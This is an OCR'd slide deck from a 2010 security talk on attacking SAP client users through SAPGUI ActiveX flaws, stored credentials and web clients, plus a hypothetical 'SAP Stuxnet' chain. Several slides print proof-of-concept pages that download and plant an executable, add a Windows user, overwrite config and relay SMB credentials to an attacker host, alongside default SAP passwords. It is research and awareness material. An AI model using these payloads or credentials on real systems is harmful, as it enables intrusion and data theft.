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Digital Security Research Group - International subdivision of Digital Security company

Ifocused on Research and Development in area of Enterprise business Applications (ERP,CRM,SRM) I
and technology networks (SCADA,SDC,GRID)

 ERP and SAP security assessment and pentest

« ERPSCAN security scanner development

« ERPSCAN online service for SAP
I » SCADA security assessment/ pentest/ stuxnet forensics I

Digital Security - one of the oldest and leading security consulting companies in Russia from

2002.

« Consulting, Certification, Compliance ISO,PCI,PA-DSS etc
» Penetration testing, security assessment, application security
* Information security awareness
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Tweet @sh2kerr

[ . Digital
CTO at (http://dsec.ru) 'JJJ Sgu?ity
= Head of (http://dsecrg.com) E Digital Security
Research Group
= Architect (http://erpscan.com) - ) ERPScan
= Project leader OWASP-EAS QOWASP-

Expert member (http://pcidss.ru) PCl DSSRU

by Digital Security

= Author of first Russian book about Oracle Database security
“Oracle Security from the Eye of the Auditor. Attack and Defense” (in Russian)

*Found a lot of vulnerabilities in SAP, Oracle, IBM... solutions
=Speaker at HITB, Source,Troopers10,T2, InfosecurityRussia, PCIDSSRUSSIA2010 Ruscrypto,
Chaos Constructions
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SAP security in common
Attacking SAP users
SAP Stuxnet Prototype
Mitgations
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ERP

ERP-Enterprise resource planning is an integrated computer-

based system used to manage internal and external resources
including tangible assets, financial resources, materials, and
human resources.

Business applications like ERP, CRM, SRM and others are
one of the major topics within the field of computer security
as these applications store business data and any
vulnerability in these applications can cause a significant
monetary loss or even stoppage of business.

I from Wikipedia
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Why care

By 2009 number of published advisories grow

e In App Servers software ~ 100
 Number of SAP Notes grow in 2010 by 2 times (~300 in 2010)
e Last month ~40 SAP Notes

I * |In ERP software ~ 100 I
I * in Database software ~ 100 I

e Source:
Business application vulnerability statistics and trends by D.Evdokimov & D Chastuhin
http://dsecrg.com/pages/pub/show.php?id=30
OWASP-EAS

http://www.owasp.org/index.php/Category:OWASP Enterprise Application Security Project
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ERP systems have a complex structure (complexity kills security )
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Access for limited people inside a company (closed world) I
to application I

Huge amount customization (impossible to apply one security
model for all)

Rarely updated because administrators are scared they can be
broken during updates







Network Architecture
e OS
Database

Application
~°rr

Presentation (Client-side)

When we trying to secure ERP system we must do it at all levels
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Other

“Technical Aspects of SAP Security” - Alexander Polyakov @ T2.fi 2009
*“SAP security: Attacking SAP users” - Alexander Polyakov (Whitepaper)

http://dsecrg.com/pages/pub/show.php?id=20

*“Some notes on SAP security” — Alexander Polyakov @ Troopers 2010
http://www.troopers.de/content/e728/e897/e910/TROOPERS10 Some notes on SAP security Alexander Polyakov.pdf

“Attacking SAP users with sapsploit” — Alexander Polyakov @HITB AMS 2010

http://dsecrg.com/pages/pub/show.php?id=27

* “ERP Security: Myths,Problems,Solutions” - Alexander Polyakov @ SourceBarcelona

http://dsecrg.com/pages/pub/show.php?id=30

Also:

 SAP guides and SAP notes
 Mariano’s talks from HITB and BLACKHAT
* Methodologies OWASP-EAS / BIZEC

© 2002—2010, Digital Security dsecrg.com * Erpscan.com



Real life situation:

During one of our sap penetration tests we found that SAP
infrastructure was securely separated from users network so one of
the possible ways to attack this network was getting access to users

workstations which can get access to SAP servers
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Attack users

e Users are less secure

e There are thousands SAP users in one
company

e Can attack them even if Server is fully secured
e Can attack them from outside
« Can use them as proxy for attacking servers

e They are stupid )

LEM M_IN’GS
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SAPGUI
JAVAGUI (usually in NIX so don’t touch this :)

NWBC

RFC

Applications such as VisualAdmin, Mobile client
and many-many other stuff

WEBGUI (Browser) H
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SAPGUI

Most common

Don’t have simple auto update

Rarely patched (by users)

Almost at any SAP workstation in a company I

In reality administrators even don'’t think that SAPGUI must be
updated (just functional updates maybe)
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OWASP-EAS top 10 Frontend vulns J|

I 1 Buffer overflows (ActiveX ) I
2 Exposed Dangerous Method or Function (ActiveX)
3 Insecure scripting server access
4 File handling Frontend vulnerabilities
5 Use of a Broken or Risky Cryptographic Algorithm
6 Cleartext Storage of Sensitive Information
7 Use of Hard-coded Password
I 8 Lack of integrity checking for front-end application I
9 Cleartext Transmission of Sensitive Information
10 Vulnerable remote services

http://www.owasp.org/index.php/Category:OWASP Enterprise Application Security Project#tab=Development guides
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EASFV-1(Buffer Overflows)

About 1000 ActiveX in SAP GUI

In 16 founded vulns I

Any of them potentially vulnerable

User interaction is needed to exploit

* 10-50% of successful exploitation depending on users
awareness

P.S. Beware of 3-rd party components
http://dsecrg.com/pages/vul/show.php?id=117
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EASFV-1(Timeline)

04.01.2007 Rfcguisink Mark Litchfield BOF http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-
enjoysap-stack-overflow/
04.01.2007 Kwedit Mark Litchfield BOF http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-
enjoysap-stack-overflow/
07.11.2008 Mdrmsap Will Dormann BOF http://www.securityfocus.com/bid/32186/info
07.01.2009 Sizerone Carsten Eiram BOF http://www.securityfocus.com/bid/33148/info
31.03.2009 WebWiewer3D Will Dormann BOF http://www.securityfocus.com/bid/34310/info
15.04.2009 Kwedit Carsten Eiram Insecure Method http://secunia.com/secunia_research/2008-56/
08.06.2009 Sapirrfc Alexander Polyakov (DSecRG) BOF http://dsecrg.com/pages/vul/show.php?id=115
28.09.2009 WebWiewer3D Alexander Polyakov (DSecRG) Insecure Method http://dsecrg.com/pages/vul/show.php?id=143
28.09.2009 WebWiewer2D Alexander Polyakov (DSecRG) Insecure Method http://dsecrg.com/pages/vul/show.php?id=144
07.10.2009 VxFlexgrid Elazar Broad , BOF http://dsecrg.com/pages/vul/show.php?id=117
Alexander Polyakov (DSecRG)
23.03.2010 BEXxGlobal Alexey Sintsov (DSecRG) Insecure Method http://dsecrg.com/pages/vul/show.php?id=164
?77? Kwedit Alexander Polyakov, Alexey Troshichev Insecure Method http://dsecrg.com/pages/vul/show.php?id=145
(DSecRG)
14 DEC 2010 DSECRG-09-069 Alexey Sintsov (DSecRG) Memory Corruption Later on http://dsecrg.com/pages/vul/show.php?id=169
14 DEC 2010 DSECRG-09-070 Alexey Sintsov (DSecRG) Format String Later on http://dsecrg.com/pages/vul/show.php?id=170
72? DSECRG-00173 Insecure Method

Alexander Polyakov (DSecRG)

Later or dsecrg.com

© 2002—2010, Digital Security
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There are ActiveX controls that can:

I  Download and exec executables such as Trojans
I  Run any OS command
 Read or Write files
I « Overwrite or Delete files
I « Steal credentials by smbrelay
e Connect to SAP servers
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EASFV-2 (Upload and Exec)

<html>

<title>DSecRG SAP ActiveX download and execute</title>
<object classid="clsi1d:2137278D-EF5C-11D3-96CE-0004AC965257""
1d="test"></object>

<script language="Javascript">

function 1nit(Q

{

var url = "http://172.16.0.1/notepad.exe";

var FileName="/_../../../../../._./._./._./../Documents and Settings/All
Users/Start menu/Programs/Startup/notepad.exe”;

test.Comp Download(url,FileName);

</script>

DSecRG

</html>

[DSECRG-09-045]

fixed with security note 1294913 and a workaround provided with security note 1092631

© 2002—2010, Digital Security dsecrg.com e erpscan.com
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EASFV-2 (Run OS Command)

<html>

<title>*DSecRG* Add user *DSecRG*</title>

<object classid="clsid:A009C90D-814B-11D3-BA3E-080009D22344""
1d="test"></object>

<script language=-Javascript >

function 1nit(Q)

{

test.Execute('net.exe","user DSecRG p4ssWOrd /add* ,"d:\\windows\\",1,""",1);
}

initQ;

</script>

DSecRG

</html>

[DSECRG-09-064]

fixed with security note 1407285

© 2002—2010, Digital Security dsecrg.com e erpscan.com
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EASFV-2 (Overwrite config/DOS)

<HTML>

<title>*DSecRG* delete config<title> <BODY>

<object i1d=test classid="clsid:{A76CEBEE-7364-11D2-AA6B-
O0E02924C34E}'"></object>

<SCRIPT>

function 1nit()

{

File = "c:\WINDOWS\saplogon.ini"
test.SaveToSessionFile(File)

B

5

InitQ;
</SCRIPT>
</BODY>
</HTML>

[DSECRG-09-043]

fixed with security note 1372153

© 2002—2010, Digital Security dsecrg.com e erpscan.com
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EASFV-2 (Steal credentials or Smbrelay)

<HTML>

<title>*DSecRG* smbrelay<title> <BODY>

<object i1d=test classid="clsid:{A76CEBEE-7364-11D2-AA6B-
O0E02924C34E}'"></object>

<SCRIPT>

function 1nit()

{

File = “\\attackerhost\anyfile"
test.SaveToSessionFile(File)

B

5

InitQ;
</SCRIPT>
</BODY>
</HTML>

[DSECRG-09-043]

fixed with security note 1372153

© 2002—2010, Digital Security dsecrg.com e erpscan.com
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EASFV-3 (Insecure scripting)

those attacks don’t use any vulnerabilities
Method 1 (Logon activeXcontrols)

Combine it and attack

SAP.TableFactory for selection data from the tables
Exploit connects to SAP server and selects critical data
Method 2 (Gui scripting)
» Possibility to run vbs scripts that can repeat manual work on Frontend

Many ActiveX execute different SAP functions H

H « We use SAP.LogonControl for connection using RFC protocol and

e Also many possibilities

 Can be prevented on registry or at server site)




Also exist

I  Still patching
I * Will be published soon at dsecrg.com
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EASFV-5 (Broken or risky crypto algoritms)

Soft Password encryption | Data encryption Mitigation

SAPGUI

JAVAGUI

WEBGUI

RFC

Visual Admin

Mobile Admin

© 2002—2010, Digital Security dsecrg.com e er n.com
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SAP files
e Sapshortcut.ini in 7.11s restricted in 7.2 again possible!

Can store names, passwords

« Saplogon.ini

Can store list of servers
» Trace files

I Can store names and passwords I

Other files

I » Exel files (for automatic data synchronization) I

Can store names, passwords and servers

» VBS scripts — (for automatic jobs execution like backup )

Can store names, passwords and servers

* Pivot .oqu files (Remote load of InfoCubes)
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EASFV-6 (Storage of sensitive info in EXCEL)

) sap.loponcontrol excel - Nouck B Google - Mozilla Firefox

®aAn  Mpaeka BWa  MypHan  3aknajkk  MHCTPYMEHTEI  Crpa&aEka
- c i '-] http: e google. comf#hl=rudfsa=xaei=0W2uTIK3Msnr 02z vKEK Bved=0CBcQBSgARa=54P.1 .7 ~| |4 - e "a
rEI Carble Nony nApHeIE ’ HauaneHan cTpaHkua |5 | NeHTa HoBoCTEH |j TeKyWES COCTOAHHE ..
] Bxoaawme (.. ﬂ Google Rea... [Ei MindMeister -"l sap.lo... ﬁ _é Google Docs. . |E] ASCAMERD... | @@ Kanban Toal... m Is SAP Afrai... |j httpedf lienky -0 - -
Beo HKaptuukd Buwaeo Haptel Hoeoctd [lepeeofydk Gmail eulé v sh2kerr@gmail.com | McTopua eeb-noncka | Hactpolk v | Buidty A
—
GO {H)Sle SAP LogonControl excel Mamck MR EnEE BRI
PesyneTaToE: npMmepHo 1 420 (018 cek.) Pacw MpEHHEIR NoMCH
L
*§ Bce pesynbTatbi CoeeT, [0Ka38TE PE3YNBTATE TOJBKD HA PYCCKOM A3bike. Bl MOXETE 3580aTe A3bIK NOWCKS B
(O] KapTMHEM paznene HacTpoiku. B
B Buneo » SAP Comrmunity Metwork Forums: sap logon control ...
W OBCyaeHuA - [ MepeBscTd aTy cTpaHMLY | )
) 25 Mar 2009 ... we have an Excel macro that lags on to SAF via a 'SAP Logon control’
¥ Euwg component. | found some information that this component is delivered ...
forums. sdn.sap.comithread.jspathreadID... - CoxpadeHHaa konua
Bece HutepHer SAP Community Metwork Forums: ABAP connection frorm Excel-WBA .
Toneko HA PyCCKOM SAP Community Metwork Forums: Activer troubleshooting into Excel ...
) MokazaTk HACTPOIKN HononuuTentHele pesyneTatel © forums. sdn.sap.com s
SAP Community Metwork Forums: ABAP connection from Excel-WVBA
CooBwenui: 3 - Aetopoe: 2 - Mocnegree coobwedne: 11 aer 2008
I've got some client functions being called fram an Excel-sheet with YBA ...
https:/fforums. sdn.sap. comithread.jspa?. 0. - CoxpaHeHHaA konua
SAP Automation RFC and BAF! Interfaces (SAP-Biblicthek - SAP ...
- [ Mepeeecth 3Ty cTpaHuyy | w
oToso

© 2002—2010, Digital Security dsecrg.com * Erpscan.com
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EASFV-6 (Storage of sensitive info in VBS)

/= The SAP Fan Club Forums = View topic - calling RFC from Excel, very urgent!!! - Windows Internet E... IZIIEIFS__(I

@ Tl ¥ [rans sapfans.com v| /x| *9 | i
‘i:f MsEpaHHoE The SAP Fan Club Forums ﬁ " r__..J =l dm v =l eI el dnlel e 15 s plelile Iﬁlv 5
| s B | = T - —
. Ea)
An eager VB-SAP integrator —
matti23

Dby mattl22 on Wed Sep 17, 2002 2:56 pm

You create your SAP function module as usual, but enable RFCs in the attributes. Here is a Bt e .
Joinaed: Thu Aug 2

sample bit of VB code that will does a function call to RFC_READ_TABLE: 7:37 pm =

[color=blue]Private Sub Commandi1_Click()

Dim FunctionCtrl 45 Object

Dim SapConnection As Object

Dim Functl As Object

Dim Msgstruc As Object

Set FunctienCirl = CreateObject("SAP. functions™)

FunctionCtrl. Connection.HostMame = "X32031 23" * sap app server
FunctionCtrl. Connection. Client = "Z00" ' client
FunctionCtrl. Connection.User = "username” * sap user name
FunctionCtrl. Connection.Password = "biteme” "password
FunctionCtrl. Connection.Language = "EN" " logon languagi9_|
FunctionCtrl. Connection. SystemMumber = “00" e

If Mot FunctionCtrl.Connection.logoen(0, True) Then v
>

[ #

CoTngn 3 MHTEpHET ~..f_3_;| - L 100% T

© 2002—2010, Digital Security dSECI’g.COI'I’I * Erpscan.com
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EASFV-6 (Storage of sensitive info in )

CEX)

2 Foxit Reader 1.3 - [Connecting-to-SAP-BW-with-Excel-Pivot Tables-and-0DBO]
E?_,f File Edit Yiew Document Tools ‘Window Help <~ Foxit PDF Editor,Modify your PDF! | -8 x

2 BB M Rie-o- QDONMA NI EFZE O -

|2

Connecting to SAP BW with Excel PivotTables and ODBQ y,, ..i4ht think that you can stop this error
e e message from appearing by checking the bax
. . -

Simba Yachnologies Incorporated an the "Create New Data Source® dialog box

Excel is considered by some to be the most commeonly used BI tool in the world. Excel PivotTables ar that says, "Save my user ID and password in
a practical way to access and analyze SAP BW data. Excel is ubiquitous and well understood, and Pivot the data source definition.” Unfortunately, this
Tables are an excellent way to explore the world of SAP BW data. However, the first hurdle you face, a d0&s not work.

a new user, is connecting to your SAP BW data source. Connecting PivotTables to a SAP BW data source

is relatively straightforward, if you know a few important items that we will outline here.

me'tunater, there is a workaround. Find the .oqy file that was created by MSQuery when you defined your BW data source. It |
should be in \Documents and Settings\<User=\Application Data\Micresoft\Queries, where <User= is your user name. Mote that
the Application Data falder is hidden, so yoau may need to change your Falder Options settings to make hidden files and folders

visible.

Onee you find the .oqy file, apen it with Notepad. There should be a line in the file that begins with Cannection=. This is an OLE

DB connection string. Add the follw.'ing to this line: Password=<pwd=, where <pwd=> is your BW passwaord. You can add this

between any of the existing items in the connection string, but it is probably easiest to add it as the first item. For example:
Connection=Passwaord=<pwd=>:Provider=...

© 2002—2010, Digital Security dSECI’g.COI'I’I * Erpscan.com
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EASFV-9 (Remote vulnerabilities)

I « SAPLPD - enable printer options in SAP I

I e Multiple BOF by Luigi Auriemma ( 4 February 2008) I
* Vulnerabilities were found SAPIpd protocol

I « Attacker can receive the full remote control over the I

l‘AIAI 7% VNN

VUIIIEIdUIU byblelll

According to our statistics of security assessments in 2009 about
30% of workstations are vulnerable

http://aluigi.altervista.org/adv/saplpdz-adv.txt
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Just press the button

There are thousands of workstations in a company so you have a great chance
that using Metasploit module db_autopwn you can exploit somebody

_ Wetasploit Exploit 1 2)

C:wProgram Files'SAPYFrontEndy BAPguil s

{rumming) |

© 2002—2010, Digital Security dsecrg.com e erpscan.com




Also exist

Still waiting for better solution from SAP
Will be published soon at dsecrg.com
Must use Microsoft’'s patch to mitigate
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Implementation fails

© 2002—2010, Digital Security

Distributives and configuration files usually
store on shared folder

Sometimes it can have write access
Sometimes u can gain this access ©
Then overwrite distr diI’s with trojaned
Or overwrite config to fake SAP server

dsecrg.com e erpscan.com
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sapsploit - tool for automatic sap clients exploitation using all kind of ActiveX
vulnerabilities. Developed by DSecRG researchers:

Alexander Polyakov (@sh2kerr) architect
Alexey Sintsov (@asintsov) develop

e Modular structure

* Collect many o the described exploits

* Perl generator for evil html page I

« 2 Payloads (exec command or upload saptrojan)

o Jitspray exploit versions by Alexey Sintsov (beta)
http://dsecrg.com/files/pub/pdf/Writing%20JIT-Spray%20Shellcode%20for%20fun%20and%20profit. pdf




saptrojan - tool for gaining additional information from users workstations

Alexander Polyakov (@sh2kerr) architect
Alexey Sintsov (@asintsov) develop

. Written on vbs and use SAP ActiveX controls
. Use different methods for getting credentials
. Download critical information

. Transfer it encrypted

i and attack SAP servers. developed by DSecRG researchers: H




Connect to SAP servers using default or stolen credentials
Obtain critical data from SAP server

Transmit it securely to attacker

Something more

Obtain information about SAP servers I
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Post exploitation

o Try default passwords

 Try to read them from files

« Try to bruteforce (rfc brute is not locking before version 6.20)

* Try to bruteforce 2 minutes before midnight © (login/failed_user_auto_unlock)

 Or upload keylogger

USER PASSWORD CLIENT

SAP* 06071992 or PASS 000 001 066 and custom
DDIC 19920706 000 001 and custom
TMSADM PASSWORD 000 001

SAPCPIC ADMIN 000 001 and custom
EARLYWATCH SUPPORT 066

Default passwords htip://dsecrg.blogspot.com/2010/11/sap-aapplication-server-security.htmi

Secure use of sap shortcuts http://www.basis2048.com/sap-gqui-for-windows-security-execution-of-sapshortcuts-1344.htm

© 2002—2010, Digital Security dsecrg.com e erpscan.com
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Post exploitation

I e Trying to download critical information: I
e Table usr02 — all users + passwords (unfortunately in RAW format)

I » Table KNAL — table with data about all Customers I
 Table LFA1 - table with vendor master data

I * Anything else u want © I

All this information must be presented to TOP’s
(CEO,CFO,CISO) to show the real risks of vulnerabilities. It is
the goal of saptrojan




saptrojan - tool for gaining additional information from users workstations

Alexander Polyakov (@sh2kerr) architect
Alexey Sintsov (@asintsov) develop

. Written on vbs and use SAP ActiveX controls
. Use different methods for getting credentials
. Download critical information

. Transfer it encrypted

i and attack SAP servers. developed by DSecRG researchers: H




DEMO

H SAPSPLOIT & SAPTROJAN H
I I
I I

I




Attacking WEB
clients
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Find your target

%) SHODAN - Computer, Search Engine - Mozilla Firefox

®afin  [Opaeka Bua  #ypHan  3a3KNaidkM  VHCTPYMEHTEI  CNpaBka

@ - c Ny C‘:‘) hktp: f v, shodanhg . com)?g=sap b g ;= ). ! h—-a
[l8] cameie nonynapHee |j HadaneHaa cTpaHMua (54| MeHTa HoBoCTed
m SAP Cormmunity ... I Digital Security: .. -.l openvpn - Mawmc... d;; SHODAM —ﬁ rﬂ Downloads m OperdPM - Ope... | - -

&) inurl:fsap/bcibsp - MNowck B Google - Mozilla Firefox *% SHODAN

®aiin [paeka Bua  MypHan  3aknaaku  VHCTpyMeHTEl  Cnpag

Results 1- 10 of about 1100 for sap
@ - c x it |_.L] htkpef i, google, com# sclier !

@ CaMbIE NONYNAPHbIE Ij HauanbHas cTpanHua (5| MeHTa HoBocTer » Top countries matching vour search  United States ;ﬁg
54
a2

O L )8 e inurl:/sap/c/bsp &
PesyneTaTOE: npmmephoﬂ
. . 12.222.153.45
*3 Bce pesynbTathl SAP Sneak Preview Li|  Nove netware 5.1
Several Preview and Evalua -
@ KapTuHiu Metwork (SON) for evaluatiof
- BH,D,EI:I https:ﬂwehsmpﬂD.sap-ag. HTTP#1.0 307 Tenporary Redirvect
| ELge . . date: Sat, 10 Jul 2010 19:33:17 GHT
e Ma\fra”s Fortal I_OQIH - server: SAP Heb Applicat ion Serwer [ICH)
Mayfairs Portal Login. | agrd  connection: close
Bechk HHT&')H&T Password * ng Cin. Chan‘ locat ion: https:/fhrportal.belden.cond ivj/portal -
ToNbko Ha pyCCKOM dealer suzukiautoco. comisd rotosa
¥/ [MokazaTe HACTROAKK Logon - SAP Web Application Server

Logon. Register here. Llger *. Pageword *. Log on. Change Password, Password forgotten.

Google and Shodanhq dorks for SAP hitp://dsecrg.blogspot.com/2010/11/sap-infrastructure-security-internals.html|

© 2002—2010, Digital Security dsecrg.com * Erpscan.com
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Hacking WEB users

 Many SAP systems transferred to the web

 Web systems are: SAP CRM, SRM, Portal
 There are also many custom web applications
» All those applications store many vulnerabilities

» Despite that vulnerabilities are found in WEB apps, most of the attacks
are targeted at clients.

I » Business need to cooperation with customers, remote offices etc I

Speaking about safety of SAP-clients it is necessary to mention
typical client-side vulnerabilities in web applications




Linked XSS

HTML Injection and Stored XSS
Malicious file upload

* Phishing
« XSRF

Details on

“Attacking SAP Users with Sapsploit” from HITB Amsterdam 2010
http://dsecrg.com/pages/pub/show.php?id=27




| |
Its time for stuxnet 2

I I

I I

I
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Stuxnet

Stuxnet is a Windows-specific computer worm. It is the first discovered worm that
spies on and reprograms industrial systems.[1] It was specifically written to attack
Supervisory Control And Data Acquisition (SCADA) systems used to control and
monitor industrial processes.[2] Stuxnet includes the capability to reprogram the
programmable logic controllers (PLCs) and hide the changes.[3]

 Use 5 0-days
» Use default SCADA passwords
* Hook application Api

Our Stuxnet research soon at dsecrg.com

© 2002—2010, Digital Security dsecrg.com e erpscan.com
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s7otbxdx.dll
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Can we do it for SAP? J

*VVulnerabilities in Client site ’ves

*Default passwords in database ’Yes

"ActiveX APl o
*GuiScript API 'Yes

*Vulnerabilities in Server site iyes
*Default passwords in application 'Yes
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SAP Stuxnet possible scenario

TMSADM
SAP*

SAPGUI SAPCPIC
EARLYWATCH

RDBMS
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SAP Stuxnet possible scenario

Find servers (Thought google/shodan)

Exploit them and upload clientsite sploitpack (into SAP Portal or SRM)
Trojan clients

Use Default/Stored passwords for SAP or for DB

Hook application Api or Use Logon ActiveX or Gui Scripting

Steal corporate secrets or change money flow or DOS

DON'T DO THIS!

© 2002—2010, Digital Security dsecrg.com e erpscan.com
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Mitigations

® Tired of showing just how to hack and want to help people be secure
® Need to Increase awareness without giving dangerous tools for public

how?

First idea - is to check for vulnerability existence without exploiting it
Second idea — easy to use for end users
Third idea - make it available to as many people as possible

Third idea — collect statistical information for awareness too

) ERPScan

ol Security Assessment for SAP Frontend

© 2002—2010, Digital Security dsecrg.com e erpscan.com
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ERPSCAN Online for SAP Frontend

ONLINE AND FREE (for noncommercial use)
Check vulnerabillities, misconfigurations, awareness
Don’t install any agent or add-on

Check all known vulnerabillities in SAP Frontend

Check info about all components: SAPGUI CORE,ECL
VIEWER, KW Add-on,BW Add-on,Bl Add-on

® Funny Awareness flash videos

) ERPScan

g’ Security Assessment for SAP Frontend

Technical details on http://dsecrg.blogspot.com

© 2002—2010, Digital Security dsecrg.com e erpscan.com
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Statistics

A little bit of statistics, about 50 users (alpha testing )

© 2002—2010, Digital Security dsecrg.com * €r n.com
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Conclusion

« ERP - main business element of any company
« Many problems in different presentation levels
» Client-site level is not less important than any other

* Number of these problems very huge and it needs to be assessed

ERPScan ERPScan Online

Security Scanner far 5SAP NetWeaver Security Assessment for SAP Frontend

 Problems are with architecture, software and users mind
» SAP HAS solutions for many security problems (patches, guides)

If u can have a special skilled department and work 24/7 — to secure
SAP do this. If not — keep it to professionals
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